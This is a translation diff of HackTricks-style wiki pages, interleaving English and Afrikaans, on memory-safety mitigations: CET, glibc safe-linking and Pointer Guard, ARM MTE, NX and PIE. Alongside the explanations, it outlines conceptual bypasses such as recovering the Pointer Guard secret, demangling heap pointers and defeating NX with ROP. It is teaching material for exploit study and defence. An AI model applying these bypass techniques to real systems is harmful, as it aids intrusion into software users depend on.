**CET** is 'n sekuriteitskenmerk wat op die hardewarevlak geïmplementeer is, ontwerp om algemene beheer-stroom kapingsaanvalle soos **Return-Oriented Programming (ROP)** en **Jump-Oriented Programming (JOP)** te verhoed. Hierdie tipe aanvalle manipuleer die uitvoeringsvloei van 'n program om kwaadwillige kode uit te voer of om stukke van goedaardige kode saam te ketting op 'n manier wat 'n kwaadwillige aksie uitvoer.
CET introduces two main features: **Indirect Branch Tracking (IBT)** and **Shadow Stack**.
CET stel twee hoofkenmerke bekend: **Indirect Branch Tracking (IBT)** en **Shadow Stack**.
- **IBT** ensures that indirect jumps and calls are made to valid targets, which are marked explicitly as legal destinations for indirect branches. This is achieved through the use of a new instruction set that marks valid targets, thus preventing attackers from diverting the control flow to arbitrary locations.
- **Shadow Stack** is a mechanism that provides integrity for return addresses. It keeps a secured, hidden copy of return addresses separate from the regular call stack. When a function returns, the return address is validated against the shadow stack, preventing attackers from overwriting return addresses on the stack to hijack the control flow.
- **IBT** verseker dat indirekte spronge en oproepe na geldige teikens gemaak word, wat eksplisiet gemerk is as wettige bestemmings vir indirekte takke. Dit word bereik deur die gebruik van 'n nuwe instruksieset wat geldige teikens merk, wat aanvalle voorkom om die beheerstroom na arbitrêre plekke te lei.
- **Shadow Stack** is 'n mechanisme wat integriteit vir terugadresse bied. Dit hou 'n beveiligde, verborge kopie van terugadresse apart van die gewone oproepstapel. Wanneer 'n funksie terugkeer, word die terugadres teen die skadu-stack geverifieer, wat voorkom dat aanvallers terugadresse op die stapel oorskryf om die beheerstroom te kap.
## Shadow Stack
The **shadow stack** is a **dedicated stack used solely for storing return addresses**. It works alongside the regular stack but is protected and hidden from normal program execution, making it difficult for attackers to tamper with. The primary goal of the shadow stack is to ensure that any modifications to return addresses on the conventional stack are detected before they can be used, effectively mitigating ROP attacks.
Die **shadow stack** is 'n **toegewyde stapel wat slegs gebruik word om terugadresse te stoor**. Dit werk saam met die gewone stapel, maar is beskerm en verborge van normale programuitvoering, wat dit moeilik maak vir aanvallers om mee te mors. Die primêre doel van die shadow stack is om te verseker dat enige wysigings aan terugadresse op die konvensionele stapel opgespoor word voordat hulle gebruik kan word, wat ROP-aanvalle effektief verminder.
## How CET and Shadow Stack Prevent Attacks
## Hoe CET en Shadow Stack Aanvalle Voorkom
**ROP and JOP attacks** rely on the ability to hijack the control flow of an application by leveraging vulnerabilities that allow them to overwrite pointers or return addresses on the stack. By directing the flow to sequences of existing code gadgets or return-oriented programming gadgets, attackers can execute arbitrary code.
**ROP en JOP aanvalle** staatmaak op die vermoë om die beheerstroom van 'n toepassing te kap deur kwesbaarhede te benut wat hulle toelaat om wysigers of terugadresse op die stapel oor te skryf. Deur die vloei na volgorde van bestaande kode gadgets of terug-georiënteerde programmering gadgets te lei, kan aanvallers arbitrêre kode uitvoer.
- **CET's IBT** feature makes these attacks significantly harder by ensuring that indirect branches can only jump to addresses that have been explicitly marked as valid targets. This makes it impossible for attackers to execute arbitrary gadgets spread across the binary.
- The **shadow stack**, on the other hand, ensures that even if an attacker can overwrite a return address on the normal stack, the **discrepancy will be detected** when comparing the corrupted address with the secure copy stored in the shadow stack upon returning from a function. If the addresses don't match, the program can terminate or take other security measures, preventing the attack from succeeding.
- **CET se IBT** kenmerk maak hierdie aanvalle aansienlik moeiliker deur te verseker dat indirekte takke slegs na adresse kan spring wat eksplisiet as geldige teikens gemerk is. Dit maak dit onmoontlik vir aanvallers om arbitrêre gadgets wat oor die binêre versprei is, uit te voer.
- Die **shadow stack**, aan die ander kant, verseker dat selfs al kan 'n aanvaller 'n terugadres op die normale stapel oorskryf, die **verskil opgespoor sal word** wanneer die gekorrupte adres met die veilige kopie wat in die shadow stack gestoor is, vergelyk word wanneer daar van 'n funksie teruggekeer word. As die adresse nie ooreenstem nie, kan die program beëindig of ander sekuriteitsmaatreëls tref, wat voorkom dat die aanval slaag.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,82 +1,82 @@
# Libc Protections
# Libc Beskermings
{{#include ../../banners/hacktricks-training.md}}
## Chunk Alignment Enforcement
## Chunk Uitlijning Handhaving
**Malloc** allocates memory in **8-byte (32-bit) or 16-byte (64-bit) groupings**. This means the end of chunks in 32-bit systems should align with **0x8**, and in 64-bit systems with **0x0**. The security feature checks that each chunk **aligns correctly** at these specific locations before using a pointer from a bin.
**Malloc** allokeer geheue in **8-byte (32-bit) of 16-byte (64-bit) groepe**. Dit beteken dat die einde van chunks in 32-bit stelsels met **0x8** moet uitlyn, en in 64-bit stelsels met **0x0**. Die sekuriteitskenmerk kontroleer dat elke chunk **korrek uitlyn** op hierdie spesifieke plekke voordat 'n pointer van 'n bin gebruik word.
### Security Benefits
### Sekuriteitsvoordele
The enforcement of chunk alignment in 64-bit systems significantly enhances Malloc's security by **limiting the placement of fake chunks to only 1 out of every 16 addresses**. This complicates exploitation efforts, especially in scenarios where the user has limited control over input values, making attacks more complex and harder to execute successfully.
Die handhaving van chunk uitlijning in 64-bit stelsels verbeter Malloc se sekuriteit aansienlik deur **die plasing van vals chunks te beperk tot slegs 1 uit elke 16 adresse**. Dit bemoeilik uitbuitpogings, veral in scenario's waar die gebruiker beperkte beheer oor invoerwaardes het, wat aanvalle meer kompleks en moeiliker maak om suksesvol uit te voer.
- **Fastbin Attack on \_\_malloc_hook**
- **Fastbin Aanval op \_\_malloc_hook**
The new alignment rules in Malloc also thwart a classic attack involving the `__malloc_hook`. Previously, attackers could manipulate chunk sizes to **overwrite this function pointer** and gain **code execution**. Now, the strict alignment requirement ensures that such manipulations are no longer viable, closing a common exploitation route and enhancing overall security.
Die nuwe uitlijningsreëls in Malloc keer ook 'n klassieke aanval wat die `__malloc_hook` betrek. Voorheen kon aanvallers chunk groottes manipuleer om **hierdie funksie pointer te oorskry** en **kode-uitvoering** te verkry. Nou verseker die streng uitlijningsvereiste dat sulke manipulasies nie meer lewensvatbaar is nie, wat 'n algemene uitbuitroete sluit en die algehele sekuriteit verbeter.
## Pointer Mangling on fastbins and tcache
## Pointer Verminking op fastbins en tcache
**Pointer Mangling** is a security enhancement used to protect **fastbin and tcache Fd pointers** in memory management operations. This technique helps prevent certain types of memory exploit tactics, specifically those that do not require leaked memory information or that manipulate memory locations directly relative to known positions (relative **overwrites**).
**Pointer Verminking** is 'n sekuriteitsverbetering wat gebruik word om **fastbin en tcache Fd pointers** in geheuebestuur operasies te beskerm. Hierdie tegniek help om sekere tipes geheue uitbuit taktieke te voorkom, spesifiek dié wat nie gelekte geheue-inligting vereis nie of wat geheue plekke direk manipuleer relatief tot bekende posisies (relatiewe **oorskrywings**).
The core of this technique is an obfuscation formula:
Die kern van hierdie tegniek is 'n obfuskeringsformule:
**`New_Ptr = (L >> 12) XOR P`**
- **L** is the **Storage Location** of the pointer.
- **P** is the actual **fastbin/tcache Fd Pointer**.
- **L** is die **Berging Plek** van die pointer.
- **P** is die werklike **fastbin/tcache Fd Pointer**.
The reason for the bitwise shift of the storage location (L) by 12 bits to the right before the XOR operation is critical. This manipulation addresses a vulnerability inherent in the deterministic nature of the least significant 12 bits of memory addresses, which are typically predictable due to system architecture constraints. By shifting the bits, the predictable portion is moved out of the equation, enhancing the randomness of the new, mangled pointer and thereby safeguarding against exploits that rely on the predictability of these bits.
Die rede vir die bitgewys verskuiwing van die berging plek (L) met 12 bits na regs voordat die XOR operasie krities is. Hierdie manipulasie spreek 'n kwesbaarheid aan wat inherent is aan die deterministiese aard van die minste betekenisvolle 12 bits van geheue adresse, wat tipies voorspelbaar is weens stelsels argitektuur beperkings. Deur die bits te verskuif, word die voorspelbare gedeelte uit die vergelyking verwyder, wat die ewekansigheid van die nuwe, verminkte pointer verbeter en sodoende beskerming bied teen uitbuit wat op die voorspelbaarheid van hierdie bits staatmaak.
This mangled pointer leverages the existing randomness provided by **Address Space Layout Randomization (ASLR)**, which randomizes addresses used by programs to make it difficult for attackers to predict the memory layout of a process.
Hierdie verminkte pointer benut die bestaande ewekansigheid wat deur **Address Space Layout Randomization (ASLR)** verskaf word, wat adresse wat deur programme gebruik word, ewekansig maak om dit moeilik te maak vir aanvallers om die geheue uitleg van 'n proses te voorspel.
**Demangling** the pointer to retrieve the original address involves using the same XOR operation. Here, the mangled pointer is treated as P in the formula, and when XORed with the unchanged storage location (L), it results in the original pointer being revealed. This symmetry in mangling and demangling ensures that the system can efficiently encode and decode pointers without significant overhead, while substantially increasing security against attacks that manipulate memory pointers.
**Demangling** van die pointer om die oorspronklike adres te herwin behels die gebruik van dieselfde XOR operasie. Hier word die verminkte pointer as P in die formule behandel, en wanneer dit met die onveranderde berging plek (L) XOR word, lei dit tot die oorspronklike pointer wat onthul word. Hierdie simmetrie in verminking en demangling verseker dat die stelsel effektief pointers kan kodeer en dekodeer sonder beduidende oorhoofse koste, terwyl dit aansienlik die sekuriteit teen aanvalle wat geheue pointers manipuleer, verhoog.
### Security Benefits
### Sekuriteitsvoordele
Pointer mangling aims to **prevent partial and full pointer overwrites in heap** management, a significant enhancement in security. This feature impacts exploit techniques in several ways:
Pointer verminking poog om **gedeeltelike en volle pointer oorskrywings in heap** bestuur te voorkom, 'n beduidende verbetering in sekuriteit. Hierdie kenmerk beïnvloed uitbuit tegnieke op verskeie maniere:
1. **Prevention of Bye Byte Relative Overwrites**: Previously, attackers could change part of a pointer to **redirect heap chunks to different locations without knowing exact addresses**, a technique evident in the leakless **House of Roman** exploit. With pointer mangling, such relative overwrites **without a heap leak now require brute forcing**, drastically reducing their likelihood of success.
2. **Increased Difficulty of Tcache Bin/Fastbin Attacks**: Common attacks that overwrite function pointers (like `__malloc_hook`) by manipulating fastbin or tcache entries are hindered. For example, an attack might involve leaking a LibC address, freeing a chunk into the tcache bin, and then overwriting the Fd pointer to redirect it to `__malloc_hook` for arbitrary code execution. With pointer mangling, these pointers must be correctly mangled, **necessitating a heap leak for accurate manipulation**, thereby elevating the exploitation barrier.
3. **Requirement for Heap Leaks in Non-Heap Locations**: Creating a fake chunk in non-heap areas (like the stack, .bss section, or PLT/GOT) now also **requires a heap leak** due to the need for pointer mangling. This extends the complexity of exploiting these areas, similar to the requirement for manipulating LibC addresses.
4. **Leaking Heap Addresses Becomes More Challenging**: Pointer mangling restricts the usefulness of Fd pointers in fastbin and tcache bins as sources for heap address leaks. However, pointers in unsorted, small, and large bins remain unmangled, thus still usable for leaking addresses. This shift pushes attackers to explore these bins for exploitable information, though some techniques may still allow for demangling pointers before a leak, albeit with constraints.
1. **Voorkoming van Bye Byte Relatiewe Oorskrywings**: Voorheen kon aanvallers 'n deel van 'n pointer verander om **heap chunks na verskillende plekke te herlei sonder om presiese adresse te ken**, 'n tegniek wat in die leakless **House of Roman** uitbuit sigbaar is. Met pointer verminking, vereis sulke relatiewe oorskrywings **sonder 'n heap leak nou brute forcing**, wat hul waarskynlikheid van sukses drasties verminder.
2. **Verhoogde Moeilikheid van Tcache Bin/Fastbin Aanvalle**: Algemene aanvalle wat funksie pointers oorskryf (soos `__malloc_hook`) deur fastbin of tcache inskrywings te manipuleer, word belemmer. Byvoorbeeld, 'n aanval kan behels om 'n LibC adres te lek, 'n chunk in die tcache bin vry te stel, en dan die Fd pointer te oorskryf om dit na `__malloc_hook` te herlei vir arbitrêre kode-uitvoering. Met pointer verminking, moet hierdie pointers korrek vermink wees, **wat 'n heap leak vir akkurate manipulasie vereis**, wat die uitbuit hindernis verhoog.
3. **Vereiste vir Heap Leaks in Nie-Heap Plekke**: Om 'n vals chunk in nie-heap areas (soos die stapel, .bss afdeling, of PLT/GOT) te skep vereis nou ook **'n heap leak** weens die behoefte aan pointer verminking. Dit verleng die kompleksiteit van die uitbuiting van hierdie areas, soortgelyk aan die vereiste om LibC adresse te manipuleer.
4. **Lek van Heap Adresse Word Meer Uitdagend**: Pointer verminking beperk die nuttigheid van Fd pointers in fastbin en tcache bins as bronne vir heap adres lek. Tog bly pointers in onsorteerde, klein, en groot bins onvervormd, en bly dus steeds bruikbaar vir die lek van adresse. Hierdie skuif druk aanvallers om hierdie bins te verken vir uitbuitbare inligting, alhoewel sommige tegnieke steeds toelaat dat pointers voor 'n lek gedemangeld word, hoewel met beperkings.
### **Demangling Pointers with a Heap Leak**
### **Demangling Pointers met 'n Heap Leak**
> [!CAUTION]
> For a better explanation of the process [**check the original post from here**](https://maxwelldulin.com/BlogPost?post=5445977088).
> Vir 'n beter verduideliking van die proses [**kyk die oorspronklike pos hier**](https://maxwelldulin.com/BlogPost?post=5445977088).
### Algorithm Overview
### Algoritme Oorsig
The formula used for mangling and demangling pointers is:&#x20;
Die formule wat gebruik word vir verminking en demangling van pointers is:&#x20;
**`New_Ptr = (L >> 12) XOR P`**
Where **L** is the storage location and **P** is the Fd pointer. When **L** is shifted right by 12 bits, it exposes the most significant bits of **P**, due to the nature of **XOR**, which outputs 0 when bits are XORed with themselves.
Waar **L** die berging plek is en **P** die Fd pointer is. Wanneer **L** na regs verskuif word met 12 bits, blootstel dit die mees betekenisvolle bits van **P**, weens die aard van **XOR**, wat 0 uitset wanneer bits met hulself XOR word.
**Key Steps in the Algorithm:**
**Sleutelstappe in die Algoritme:**
1. **Initial Leak of the Most Significant Bits**: By XORing the shifted **L** with **P**, you effectively get the top 12 bits of **P** because the shifted portion of **L** will be zero, leaving **P's** corresponding bits unchanged.
2. **Recovery of Pointer Bits**: Since XOR is reversible, knowing the result and one of the operands allows you to compute the other operand. This property is used to deduce the entire set of bits for **P** by successively XORing known sets of bits with parts of the mangled pointer.
3. **Iterative Demangling**: The process is repeated, each time using the newly discovered bits of **P** from the previous step to decode the next segment of the mangled pointer, until all bits are recovered.
4. **Handling Deterministic Bits**: The final 12 bits of **L** are lost due to the shift, but they are deterministic and can be reconstructed post-process.
1. **Begin Leak van die Mees Betekenisvolle Bits**: Deur die verskoven **L** met **P** te XOR, kry jy effektief die boonste 12 bits van **P** omdat die verskoven gedeelte van **L** nul sal wees, wat **P's** ooreenstemmende bits onveranderd laat.
2. **Herwinning van Pointer Bits**: Aangesien XOR omkeerbaar is, laat die kennis van die resultaat en een van die operandi jou toe om die ander operand te bereken. Hierdie eienskap word gebruik om die hele stel bits vir **P** af te lei deur bekendgestelde stelle bits met dele van die verminkte pointer suksesief te XOR.
3. **Iteratiewe Demangling**: Die proses word herhaal, elke keer die nuut ontdekte bits van **P** van die vorige stap gebruik om die volgende segment van die verminkte pointer te dekodeer, totdat alle bits herwin is.
4. **Hantering van Deterministiese Bits**: Die finale 12 bits van **L** gaan verlore weens die verskuiwing, maar hulle is deterministies en kan na die proses weer opgebou word.
You can find an implementation of this algorithm here: [https://github.com/mdulin2/mangle](https://github.com/mdulin2/mangle)
Jy kan 'n implementering van hierdie algoritme hier vind: [https://github.com/mdulin2/mangle](https://github.com/mdulin2/mangle)
## Pointer Guard
## Pointer Wag
Pointer guard is an exploit mitigation technique used in glibc to protect stored function pointers, particularly those registered by library calls such as `atexit()`. This protection involves scrambling the pointers by XORing them with a secret stored in the thread data (`fs:0x30`) and applying a bitwise rotation. This mechanism aims to prevent attackers from hijacking control flow by overwriting function pointers.
Pointer wag is 'n uitbuit mitigering tegniek wat in glibc gebruik word om gestoor funksie pointers te beskerm, veral dié wat deur biblioteek oproepe soos `atexit()` geregistreer is. Hierdie beskerming behels die verhaspeling van die pointers deur hulle met 'n geheim wat in die draad data (`fs:0x30`) gestoor is, te XOR en 'n bitgewys rotasie toe te pas. Hierdie meganisme poog om te voorkom dat aanvallers die vloei van beheer oorneem deur funksie pointers te oorskryf.
### **Bypassing Pointer Guard with a leak**
### **Om Pointer Wag te Oorskry met 'n lek**
1. **Understanding Pointer Guard Operations:** The scrambling (mangling) of pointers is done using the `PTR_MANGLE` macro which XORs the pointer with a 64-bit secret and then performs a left rotation of 0x11 bits. The reverse operation for recovering the original pointer is handled by `PTR_DEMANGLE`.
2. **Attack Strategy:** The attack is based on a known-plaintext approach, where the attacker needs to know both the original and the mangled versions of a pointer to deduce the secret used for mangling.
3. **Exploiting Known Plaintexts:**
- **Identifying Fixed Function Pointers:** By examining glibc source code or initialized function pointer tables (like `__libc_pthread_functions`), an attacker can find predictable function pointers.
- **Computing the Secret:** Using a known function pointer such as `__pthread_attr_destroy` and its mangled version from the function pointer table, the secret can be calculated by reverse rotating (right rotation) the mangled pointer and then XORing it with the address of the function.
4. **Alternative Plaintexts:** The attacker can also experiment with mangling pointers with known values like 0 or -1 to see if these produce identifiable patterns in memory, potentially revealing the secret when these patterns are found in memory dumps.
5. **Practical Application:** After computing the secret, an attacker can manipulate pointers in a controlled manner, essentially bypassing the Pointer Guard protection in a multithreaded application with knowledge of the libc base address and an ability to read arbitrary memory locations.
1. **Begrip van Pointer Wag Operasies:** Die verhaspeling (verminking) van pointers word gedoen met die `PTR_MANGLE` makro wat die pointer met 'n 64-bit geheim XOR en dan 'n linker rotasie van 0x11 bits uitvoer. Die omgekeerde operasie om die oorspronklike pointer te herwin, word hanteer deur `PTR_DEMANGLE`.
2. **Aanval Strategie:** Die aanval is gebaseer op 'n bekende-plaintekst benadering, waar die aanvaller beide die oorspronklike en die verminkte weergawes van 'n pointer moet ken om die geheim wat vir verminking gebruik is, af te lei.
3. **Benutting van Bekende Plaintexts:**
- **Identifisering van Vaste Funksie Pointers:** Deur glibc se bronkode of geïnitialiseerde funksie pointer tabelles (soos `__libc_pthread_functions`) te ondersoek, kan 'n aanvaller voorspelbare funksie pointers vind.
- **Berekening van die Geheim:** Deur 'n bekende funksie pointer soos `__pthread_attr_destroy` en sy verminkte weergawe uit die funksie pointer tabel te gebruik, kan die geheim bereken word deur die verminkte pointer om te draai (regs rotasie) en dit dan met die adres van die funksie te XOR.
4. **Alternatiewe Plaintexts:** Die aanvaller kan ook eksperimenteer met die verminking van pointers met bekende waardes soos 0 of -1 om te sien of hierdie identifiseerbare patrone in geheue produseer, wat moontlik die geheim onthul wanneer hierdie patrone in geheue dumps gevind word.
5. **Praktiese Toepassing:** Nadat die geheim bereken is, kan 'n aanvaller pointers op 'n beheerde manier manipuleer, wat in wese die Pointer Wag beskerming in 'n multithreaded toepassing omseil met kennis van die libc basis adres en 'n vermoë om arbitrêre geheue plekke te lees.
## References
## Verwysings
- [https://maxwelldulin.com/BlogPost?post=5445977088](https://maxwelldulin.com/BlogPost?post=5445977088)
- [https://blog.infosectcbr.com.au/2020/04/bypassing-pointer-guard-in-linuxs-glibc.html?m=1](https://blog.infosectcbr.com.au/2020/04/bypassing-pointer-guard-in-linuxs-glibc.html?m=1)

View File

@ -1,83 +1,81 @@
# Memory Tagging Extension (MTE)
# Geheue Etikettering Uitbreiding (MTE)
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Basiese Inligting
**Memory Tagging Extension (MTE)** is designed to enhance software reliability and security by **detecting and preventing memory-related errors**, such as buffer overflows and use-after-free vulnerabilities. MTE, as part of the **ARM** architecture, provides a mechanism to attach a **small tag to each memory allocation** and a **corresponding tag to each pointer** referencing that memory. This approach allows for the detection of illegal memory accesses at runtime, significantly reducing the risk of exploiting such vulnerabilities for executing arbitrary code.
**Geheue Etikettering Uitbreiding (MTE)** is ontwerp om sagteware se betroubaarheid en sekuriteit te verbeter deur **geheue-verwante foute** te **detecteer en te voorkom**, soos buffer oorgroeisels en gebruik-na-vry kwesbaarhede. MTE, as deel van die **ARM** argitektuur, bied 'n mekanisme om 'n **klein etiket aan elke geheue toewysing** te heg en 'n **ooreenstemmende etiket aan elke pointeur** wat na daardie geheue verwys. Hierdie benadering maak dit moontlik om onwettige geheue-toegang tydens uitvoering te detecteer, wat die risiko om sulke kwesbaarhede te benut om arbitrêre kode uit te voer, aansienlik verminder.
### **How Memory Tagging Extension Works**
### **Hoe Geheue Etikettering Uitbreiding Werk**
MTE operates by **dividing memory into small, fixed-size blocks, with each block assigned a tag,** typically a few bits in size.&#x20;
MTE werk deur **geheue in klein, vaste-grootte blokke te verdeel, met elke blok wat 'n etiket toegeken word,** tipies 'n paar bits groot.&#x20;
When a pointer is created to point to that memory, it gets the same tag. This tag is stored in the **unused bits of a memory pointer**, effectively linking the pointer to its corresponding memory block.
Wanneer 'n pointeur geskep word om na daardie geheue te verwys, ontvang dit dieselfde etiket. Hierdie etiket word in die **onbenutte bits van 'n geheue pointeur** gestoor, wat effektief die pointeur aan sy ooreenstemmende geheueblok koppel.
<figure><img src="../../images/image (1202).png" alt=""><figcaption><p><a href="https://www.youtube.com/watch?v=UwMt0e_dC_Q">https://www.youtube.com/watch?v=UwMt0e_dC_Q</a></p></figcaption></figure>
When a program accesses memory through a pointer, the MTE hardware checks that the **pointer's tag matches the memory block's tag**. If the tags **do not match**, it indicates an **illegal memory access.**
Wanneer 'n program geheue deur 'n pointeur benader, kontroleer die MTE-hardware of die **pointeur se etiket ooreenstem met die geheueblok se etiket**. As die etikette **nie ooreenstem nie**, dui dit op 'n **onwettige geheue-toegang.**
### MTE Pointer Tags
### MTE Pointeur Etikette
Tags inside a pointer are stored in 4 bits inside the top byte:
Etikette binne 'n pointeur word in 4 bits binne die boonste byte gestoor:
<figure><img src="../../images/image (1203).png" alt=""><figcaption><p><a href="https://www.youtube.com/watch?v=UwMt0e_dC_Q">https://www.youtube.com/watch?v=UwMt0e_dC_Q</a></p></figcaption></figure>
Therefore, this allows up to **16 different tag values**.
Daarom laat dit tot **16 verskillende etiketwaardes** toe.
### MTE Memory Tags
### MTE Geheue Etikette
Every **16B of physical memory** have a corresponding **memory tag**.
Elke **16B fisiese geheue** het 'n ooreenstemmende **geheue etiket**.
The memory tags are stored in a **dedicated RAM region** (not accessible for normal usage). Having 4bits tags for every 16B memory tags up to 3% of RAM.
ARM introduces the following instructions to manipulate these tags in the dedicated RAM memory:
Die geheue etikette word in 'n **toegewyde RAM streek** gestoor (nie toeganklik vir normale gebruik nie). Met 4bits etikette vir elke 16B geheue etikette tot 3% van RAM.
ARM stel die volgende instruksies bekend om hierdie etikette in die toegewyde RAM geheue te manipuleer:
```
STG [<Xn/SP>], #<simm> Store Allocation (memory) Tag
LDG <Xt>, [<Xn/SP>] Load Allocatoin (memory) Tag
IRG <Xd/SP>, <Xn/SP> Insert Random [pointer] Tag
...
```
## Kontrole Modusse
## Checking Modes
### Sinkronies
### Sync
Die CPU kontroleer die etikette **tydens die uitvoering van die instruksie**, as daar 'n wanverhouding is, word 'n uitsondering opgewek.\
Dit is die stadigste en mees veilige.
The CPU check the tags **during the instruction executing**, if there is a mismatch, it raises an exception.\
This is the slowest and most secure.
### Asinkronies
### Async
Die CPU kontroleer die etikette **asinkronies**, en wanneer 'n wanverhouding gevind word, stel dit 'n uitsondering-bietjie in een van die stelsels registre. Dit is **vinniger** as die vorige een, maar dit is **nie in staat om** die presiese instruksie aan te dui wat die wanverhouding veroorsaak nie en dit wek nie die uitsondering onmiddellik nie, wat 'n bietjie tyd aan die aanvaller gee om sy aanval te voltooi.
The CPU check the tags **asynchronously**, and when a mismatch is found it sets an exception bit in one of the system registers. It's **faster** than the previous one but it's **unable to point out** the exact instruction that cause the mismatch and it doesn't raise the exception immediately, giving some time to the attacker to complete his attack.
### Mixed
### Gemengde
???
## Implementation & Detection Examples
## Implementasie & Opsporing Voorbeelde
Called Hardware Tag-Based KASAN, MTE-based KASAN or in-kernel MTE.\
The kernel allocators (like `kmalloc`) will **call this module** which will prepare the tag to use (randomly) attach it to the kernel space allocated and to the returned pointer.
Genoem Hardeware Tag-gebaseerde KASAN, MTE-gebaseerde KASAN of in-kernel MTE.\
Die kernel toewysers (soos `kmalloc`) sal **hierdie module aanroep** wat die etiket sal voorberei om te gebruik (ewekansig) en dit aan die kernruimte wat toegeken is en aan die teruggegee pointer te heg.
Note that it'll **only mark enough memory granules** (16B each) for the requested size. So if the requested size was 35 and a slab of 60B was given, it'll mark the first 16\*3 = 48B with this tag and the **rest** will be **marked** with a so-called **invalid tag (0xE)**.
Let daarop dat dit **slegs genoeg geheue korrels** (16B elk) vir die aangevraagde grootte sal merk. So as die aangevraagde grootte 35 was en 'n slab van 60B gegee is, sal dit die eerste 16\*3 = 48B met hierdie etiket merk en die **res** sal **gemerk** word met 'n sogenaamde **ongeldige etiket (0xE)**.
The tag **0xF** is the **match all pointer**. A memory with this pointer allows **any tag to be used** to access its memory (no mismatches). This could prevent MET from detecting an attack if this tags is being used in the attacked memory.
Die etiket **0xF** is die **pas alle pointer**. 'n Geheue met hierdie pointer laat **enige etiket toe** om toegang tot sy geheue te verkry (geen wanverhoudings nie). Dit kan voorkom dat MET 'n aanval opspoor as hierdie etikette in die aangevalde geheue gebruik word.
Therefore there are only **14 value**s that can be used to generate tags as 0xE and 0xF are reserved, giving a probability of **reusing tags** to 1/17 -> around **7%**.
Daarom is daar slegs **14 waardes** wat gebruik kan word om etikette te genereer, aangesien 0xE en 0xF gereserveer is, wat 'n waarskynlikheid van **hergebruik van etikette** tot 1/17 -> rondom **7%** gee.
If the kernel access to the **invalid tag granule**, the **mismatch** will be **detected**. If it access another memory location, if the **memory has a different tag** (or the invalid tag) the mismatch will be **detected.** If the attacker is lucky and the memory is using the same tag, it won't be detected. Chances are around 7%
As die kernel toegang tot die **ongeldige etiket korrel** het, sal die **wanverhouding** **opgespoor** word. As dit toegang tot 'n ander geheue ligging het, as die **geheue 'n ander etiket het** (of die ongeldige etiket) sal die wanverhouding **opgespoor** word. As die aanvaller gelukkig is en die geheue dieselfde etiket gebruik, sal dit nie opgespoor word nie. Die kanse is rondom 7%.
Another bug occurs in the **last granule** of the allocated memory. If the application requested 35B, it was given the granule from 32 to 48. Therefore, the **bytes from 36 til 47 are using the same tag** but they weren't requested. If the attacker access **these extra bytes, this isn't detected**.
Nog 'n fout gebeur in die **laaste korrel** van die toegeken geheue. As die aansoek 35B aangevra het, is die korrel van 32 tot 48 gegee. Daarom gebruik die **bytes van 36 tot 47 dieselfde etiket**, maar hulle is nie aangevra nie. As die aanvaller **hierdie ekstra bytes toegang**, sal dit **nie opgespoor** word nie.
When **`kfree()`** is executed, the memory is retagged with the invalid memory tag, so in a **use-after-free**, when the memory is accessed again, the **mismatch is detected**.
Wanneer **`kfree()`** uitgevoer word, word die geheue weer met die ongeldige geheue etiket gemerk, so in 'n **gebruik-na-vry**, wanneer die geheue weer toegang word, sal die **wanverhouding opgespoor** word.
However, in a use-after-free, if the same **chunk is reallocated again with the SAME tag** as previously, an attacker will be able to use this access and this won't be detected (around 7% chance).
Echter, in 'n gebruik-na-vry, as die selfde **stuk weer toegeken word met die SELFDE etiket** soos voorheen, sal 'n aanvaller in staat wees om hierdie toegang te gebruik en dit sal nie opgespoor word nie (ongeveer 7% kans).
Moreover, only **`slab` and `page_alloc`** uses tagged memory but in the future this will also be used in `vmalloc`, `stack` and `globals` (at the moment of the video these can still be abused).
Boonop gebruik slegs **`slab` en `page_alloc`** gemerkte geheue, maar in die toekoms sal dit ook in `vmalloc`, `stack` en `globals` gebruik word (op die oomblik van die video kan hierdie steeds misbruik word).
When a **mismatch is detected** the kernel will **panic** to prevent further exploitation and retries of the exploit (MTE doesn't have false positives).
Wanneer 'n **wanverhouding opgespoor** word, sal die kernel **paniek** om verdere uitbuiting en herhalings van die uitbuiting te voorkom (MTE het nie vals positiewe nie).
## References
## Verwysings
- [https://www.youtube.com/watch?v=UwMt0e_dC_Q](https://www.youtube.com/watch?v=UwMt0e_dC_Q)

View File

@ -2,15 +2,15 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Basiese Inligting
The **No-Execute (NX)** bit, also known as **Execute Disable (XD)** in Intel terminology, is a hardware-based security feature designed to **mitigate** the effects of **buffer overflow** attacks. When implemented and enabled, it distinguishes between memory regions that are intended for **executable code** and those meant for **data**, such as the **stack** and **heap**. The core idea is to prevent an attacker from executing malicious code through buffer overflow vulnerabilities by putting the malicious code in the stack for example and directing the execution flow to it.
Die **No-Execute (NX)** bit, ook bekend as **Execute Disable (XD)** in Intel terminologie, is 'n hardeware-gebaseerde sekuriteitskenmerk wat ontwerp is om die gevolge van **buffer overflow** aanvalle te **verlig**. Wanneer dit geïmplementeer en geaktiveer is, onderskei dit tussen geheuegebiede wat bedoel is vir **uitvoerbare kode** en dié wat bedoel is vir **data**, soos die **stack** en **heap**. Die kernidee is om te voorkom dat 'n aanvaller kwaadwillige kode uitvoer deur middel van buffer overflow kwesbaarhede deur die kwaadwillige kode in die stack te plaas byvoorbeeld en die uitvoer vloei na dit te lei.
## Bypasses
- It's possible to use techniques such as [**ROP**](../rop-return-oriented-programing/) **to bypass** this protection by executing chunks of executable code already present in the binary.
- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/)
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/)
- **Ret2...**
- Dit is moontlik om tegnieke soos [**ROP**](../rop-return-oriented-programing/) **te gebruik om** hierdie beskerming te omseil deur stukke uitvoerbare kode wat reeds in die binêre teenwoordig is, uit te voer.
- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/)
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/)
- **Ret2...**
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,30 +2,30 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Basiese Inligting
A binary compiled as PIE, or **Position Independent Executable**, means the **program can load at different memory locations** each time it's executed, preventing hardcoded addresses.
'n Binêre wat as PIE gecompileer is, of **Position Independent Executable**, beteken dat die **program by verskillende geheue-lokasies kan laai** elke keer wanneer dit uitgevoer word, wat hardgecodeerde adresse voorkom.
The trick to exploit these binaries lies in exploiting the **relative addresses**—the offsets between parts of the program remain the same even if the absolute locations change. To **bypass PIE, you only need to leak one address**, typically from the **stack** using vulnerabilities like format string attacks. Once you have an address, you can calculate others by their **fixed offsets**.
